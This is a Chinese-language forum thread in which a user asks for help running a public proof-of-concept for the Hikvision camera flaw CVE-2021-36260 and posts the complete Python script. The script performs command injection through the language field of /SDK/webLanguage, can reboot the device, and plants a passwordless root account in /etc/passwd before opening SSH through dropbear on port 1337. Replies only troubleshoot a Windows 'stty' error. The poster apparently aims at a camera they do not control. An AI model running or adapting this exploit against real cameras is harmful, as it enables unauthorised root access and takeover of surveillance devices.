hagi 发表于 2023-8-9 18:57:25

求教问题 关于海康威视cve-2021-36260的一些问题

看见海康的摄像头存在cve2021-36260的一个漏洞但用网上的cve-36260.py脚本poc的时候 --check 没问题 和-- cmd “ls al”显目录也没问题


但在--shell 过程中 提示“stty”不是内部外部命令

查看python源码
        os.system(f'stty echo; stty iexten; stty icanon; \
            ssh -o StrictHostKeyChecking=no -o LogLevel=error -o UserKnownHostsFile=/dev/null \
            P@{args.rhost} -p 1337')


javascript:;

我的pc系统是win10 并非linuxstty命令是打印回显 电脑不能上网内联监控摄像头 (局域网)所以一直能拿到root shell但不知password   

虽然本地拿到目录 ls但是无法进入/etc/password得到密码md5值 也无法创建密码

望大佬解惑

hagi 发表于 2023-8-9 18:59:03

刷新最新回复评论栏目的回复

90_ 发表于 2023-8-9 20:30:43

完整脚本发出来

hagi 发表于 2023-8-10 08:30:38

本帖最后由 hagi 于 2023-8-10 08:34 编辑

发图片好看些

hagi 发表于 2023-8-10 08:36:38

import os
import argparse
import time

import requests
from requests import packages
from requests.packages import urllib3
from requests.packages.urllib3 import exceptions


class Http(object):
    def __init__(self, rhost, rport, proto, timeout=60):
      super(Http, self).__init__()

      self.rhost = rhost
      self.rport = rport
      self.proto = proto
      self.timeout = timeout

      self.remote = None
      self.uri = None

      """ Most devices will use self-signed certificates, suppress any warnings """
      requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

      self.remote = requests.Session()

      self._init_uri()

      self.remote.headers.update({
            'Host': f'{self.rhost}:{self.rport}',
            'Accept': '*/*',
            'X-Requested-With': 'XMLHttpRequest',
            'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
      })
      """
      self.remote.proxies.update({
            # 'http': 'http://127.0.0.1:8080',
      })
      """

    def send(self, url=None, query_args=None, timeout=5):

      if query_args:
            """Some devices can handle more, others less, 22 bytes seems like a good compromise"""
            if len(query_args) > 22:
                print(f'[!] Error: Command "{query_args}" to long ({len(query_args)})')
                return None

      """This weird code will try automatically switch between http/https
      and update Host
      """
      try:
            if url and not query_args:
                return self.get(url, timeout)
            else:
                data = self.put('/SDK/webLanguage', query_args, timeout)
      except requests.exceptions.ConnectionError:
            self.proto = 'https' if self.proto == 'http' else 'https'
            self._init_uri()
            try:
                if url and not query_args:
                  return self.get(url, timeout)
                else:
                  data = self.put('/SDK/webLanguage', query_args, timeout)
            except requests.exceptions.ConnectionError:
                return None
      except requests.exceptions.RequestException:
            return None
      except KeyboardInterrupt:
            return None

      """302 when requesting http on https enabled device"""

      if data.status_code == 302:
            redirect = data.headers.get('Location')
            self.uri = redirect[:redirect.rfind('/')]
            self._update_host()
            if url and not query_args:
                return self.get(url, timeout)
            else:
                data = self.put('/SDK/webLanguage', query_args, timeout)

      return data

    def _update_host(self):
      if not self.remote.headers.get('Host') == self.uri:
            self.remote.headers.update({
                'Host': self.uri,
            })

    def _init_uri(self):
      self.uri = '{proto}://{rhost}:{rport}'.format(proto=self.proto, rhost=self.rhost, rport=str(self.rport))

    def put(self, url, query_args, timeout):
      """Command injection in the <language> tag"""
      query_args = '<?xml version="1.0" encoding="UTF-8"?>' \
                     f'<language>$({query_args})</language>'
      return self.remote.put(self.uri + url, data=query_args, verify=False, allow_redirects=False, timeout=timeout)

    def get(self, url, timeout):
      return self.remote.get(self.uri + url, verify=False, allow_redirects=False, timeout=timeout)


def check(remote, args):
    """
    status_code == 200 (OK);
      Verified vulnerable and exploitable
    status_code == 500 (Internal Server Error);
      Device may be vulnerable, but most likely not
      The SDK webLanguage tag is there, but generate status_code 500 when language not found
      I.e. Exist: <language>en</language> (200), not exist: <language>EN</language> (500)
      (Issue: Could also be other directory than 'webLib', r/o FS etc...)
    status_code == 401 (Unauthorized);
      Defiantly not vulnerable
    """
    if args.noverify:
      print(f'[*] Not verifying remote "{args.rhost}:{args.rport}"')
      return True

    print(f'[*] Checking remote "{args.rhost}:{args.rport}"')

    data = remote.send(url='/', query_args=None)
    if data is None:
      print(f'[-] Cannot establish connection to "{args.rhost}:{args.rport}"')
      return None
    print(' ETag:', data.headers.get('ETag'))

    data = remote.send(query_args='>webLib/c')
    if data is None or data.status_code == 404:
      print(f'[-] "{args.rhost}:{args.rport}" do not looks like Hikvision')
      return False
    status_code = data.status_code

    data = remote.send(url='/c', query_args=None)
    if not data.status_code == 200:
      """We could not verify command injection"""
      if status_code == 500:
            print(f'[-] Could not verify if vulnerable (Code: {status_code})')
            if args.reboot:
                return check_reboot(remote, args)
      else:
            print(f'[+] Remote is not vulnerable (Code: {status_code})')
      return False

    print('[!] Remote is verified exploitable')
    return True


def check_reboot(remote, args):
    """
    We sending 'reboot', wait 2 sec, then checking with GET request.
    - if there is data returned, we can assume remote is not vulnerable.
    - If there is no connection or data returned, we can assume remote is vulnerable.
    """
    if args.check:
      print(' Checking if vulnerable with "reboot"')
    else:
      print(f'[*] Checking remote "{args.rhost}:{args.rport}" with "reboot"')
    remote.send(query_args='reboot')
    time.sleep(2)
    if not remote.send(url='/', query_args=None):
      print('[!] Remote is vulnerable')
      return True
    else:
      print('[+] Remote is not vulnerable')
      return False


def cmd(remote, args):
    if not check(remote, args):
      return False
    data = remote.send(query_args=f'{args.cmd}>webLib/x')
    if data is None:
      return False

    data = remote.send(url='/x', query_args=None)
    if data is None or not data.status_code == 200:
      print(f'[!] Error execute cmd "{args.cmd}"')
      return False
    print(data.text)
    return True


def cmd_blind(remote, args):
    """
    Blind command injection
    """
    if not check(remote, args):
      return False
    data = remote.send(query_args=f'{args.cmd_blind}')
    if data is None or not data.status_code == 500:
      print(f'[-] Error execute cmd "{args.cmd_blind}"')
      return False
    print(f' Try execute blind cmd "{args.cmd_blind}"')
    return True


def shell(remote, args):
    if not check(remote, args):
      return False
    data = remote.send(url='/N', query_args=None)

    if data.status_code == 404:
      print(f' Remote "{args.rhost}" not pwned, pwning now!')
      data = remote.send(query_args='echo -n P::0:0:W>N')
      if data.status_code == 401:
            print(data.headers)
            print(data.text)
            return False
      remote.send(query_args='echo :/:/bin/sh>>N')
      remote.send(query_args='cat N>>/etc/passwd')
      remote.send(query_args='dropbear -R -B -p 1337')
      remote.send(query_args='cat N>webLib/N')
    else:
      print(f' Remote "{args.rhost}" already pwned')

    print(f'[*] Trying SSH to {args.rhost} on port 1337')
    os.system(f'stty echo; stty iexten; stty icanon; \
    ssh -o StrictHostKeyChecking=no -o LogLevel=error -o UserKnownHostsFile=/dev/null \
    P@{args.rhost} -p 1337')


def main():
    print('[*] Hikvision CVE-2021-36260\n[*] PoC by bashis <mcw noemail eu> (2021)')

    parser = argparse.ArgumentParser()
    parser.add_argument('--rhost', required=True, type=str, default=None, help='Remote Target Address (IP/FQDN)')
    parser.add_argument('--rport', required=False, type=int, default=80, help='Remote Target Port')
    parser.add_argument('--check', required=False, default=False, action='store_true', help='Check if vulnerable')
    parser.add_argument('--reboot', required=False, default=False, action='store_true', help='Reboot if vulnerable')
    parser.add_argument('--shell', required=False, default=False, action='store_true', help='Launch SSH shell')
    parser.add_argument('--cmd', required=False, type=str, default=None, help='execute cmd (i.e: "ls -l")')
    parser.add_argument('--cmd_blind', required=False, type=str, default=None, help='execute blind cmd (i.e: "reboot")')
    parser.add_argument(
      '--noverify', required=False, default=False, action='store_true', help='Do not verify if vulnerable'
    )
    parser.add_argument(
      '--proto', required=False, type=str, choices=['http', 'https'], default='http', help='Protocol used'
    )
    args = parser.parse_args()

    remote = Http(args.rhost, args.rport, args.proto)

    try:
      if args.shell:
            shell(remote, args)
      elif args.cmd:
            cmd(remote, args)
      elif args.cmd_blind:
            cmd_blind(remote, args)
      elif args.check:
            check(remote, args)
      elif args.reboot:
            check_reboot(remote, args)
      else:
            parser.parse_args(['-h'])
    except KeyboardInterrupt:
      return False


if __name__ == '__main__':
    main()

hagi 发表于 2023-8-10 08:45:14

90_ 发表于 2023-8-9 20:30
完整脚本发出来

发图片 好一些

90_ 发表于 2023-8-10 17:24:59

print(f'[*] Trying SSH to {args.rhost} on port 1337')
    os.system(f'stty echo; stty iexten; stty icanon; \
    ssh -o StrictHostKeyChecking=no -o LogLevel=error -o UserKnownHostsFile=/dev/null \
    P@{args.rhost} -p 1337')

这段代码里不是说了吗,要通过ssh连进Linux后执行stty命令,所以你Windows不能执行,这不是很正常,又或者说目标并不是运行在Linux之上

hagi 发表于 2023-8-10 18:44:03

90_ 发表于 2023-8-10 17:24
这段代码里不是说了吗,要通过ssh连进Linux后执行stty命令,所以你Windows不能执行,这不是很正常,又或 ...

那就没办法了这个poc是国外的wonderfulIP写的没仔细看
我现在的情况   这个主机不能联网 你懂得 而且不能关机不然得话直接在U盘搞个kali
我回去研究研究 看看能不能重写一下
页: [1]
查看完整版本: 求教问题 关于海康威视cve-2021-36260的一些问题